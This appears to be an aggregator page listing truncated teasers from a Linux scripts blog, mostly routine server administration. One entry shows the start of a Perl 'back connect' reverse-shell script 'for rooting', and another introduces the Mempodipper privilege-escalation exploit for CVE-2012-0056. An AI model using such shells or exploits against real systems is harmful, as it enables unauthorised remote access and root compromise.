Quantcast
Channel: Scripts – Linux – e-diary
Browsing latest articles
Browse All 11 View Live

Perl Back Connect script for rooting

  #!/usr/bin/perl use IO::Socket; $system = '/bin/bash'; $ARGC=@ARGV; print "# <==BackConnect Shell==> \n\n"; if ($ARGC!=2) { print "Usage: $0 [Host] [Port] \n\n"; die "Ex: $0 127.0.0.1 1313 \n";...

View Article



post data process in shell script.

This page presents a little /bin/sh shell script that will help you processing form data in a CGI shell script, without needing C or perl. You receive the form values straight into your shell...

View Article

Linux Local Privilege Escalation vulnerability

Introducing Mempodipper, an exploit for CVE-2012-0056. /proc/pid/mem is an interface for reading and writing, directly, process memory by seeking around with the same addresses as the process’s virtual...

View Article

Script to reset emaill account password in cpanel

 To reset the  emailaccount password on a cPanel server without login whm or cpanel,  You can use the given script to reset the password. #!/usr/bin/perl -wl # cpanel – chemailpass Copyright(c) 2011...

View Article

Script to install suphp in cpanel server

You can use this script to install suphp in cpanel server. #!/bin/bash DIR=/usr/local/src INSPATH=”/opt/suphp” #$1=$CUS CMDOPT=”–prefix=/opt/suphp –with-apr=/usr/local/apache/bin/...

View Article


Shell Script for Cricket Score!!!

Here’s a script that I wrote to get the latest cricket score without visiting the site. It’s a shell  script that makes use of rediff scores.   #!/bin/bash lynx=`which lynx` if [ -z $lynx ]; then...

View Article

Convert MyISAM Tables to InnoDB

The InnoDB engine is superior. There is no reason to run MyISAM anymore. Here is a Bash script that will convert all tables, that can be converted, to InnoDB. If you do not have access to a script...

View Article

error: field ‘st_atim’ has incomplete type FFMPEG

While installing ffmpeg-php-0.6.0  on centos server, if you may came across the below error , like :: In file included from /usr/include/sys/stat.h:107, from /usr/include/php/main/php_streams.h:28,...

View Article


Automation with Perl Rex

Today I’ve started to play with perl Rex which is one of the great tool for automating server management tasks. I have never used Chef or Puppet or Ansible, so I did not know what to expect and what...

View Article


Image may be NSFW.
Clik here to view.

Inbox by Gmail for Desktop

A simple & beautiful desktop client for inbox gmail which runs on Linux, OS X and Windows. Built with NW.js. Please note that, This is NOT an official product, so use it with your own risk Major...

View Article
Browsing latest articles
Browse All 11 View Live




Latest Images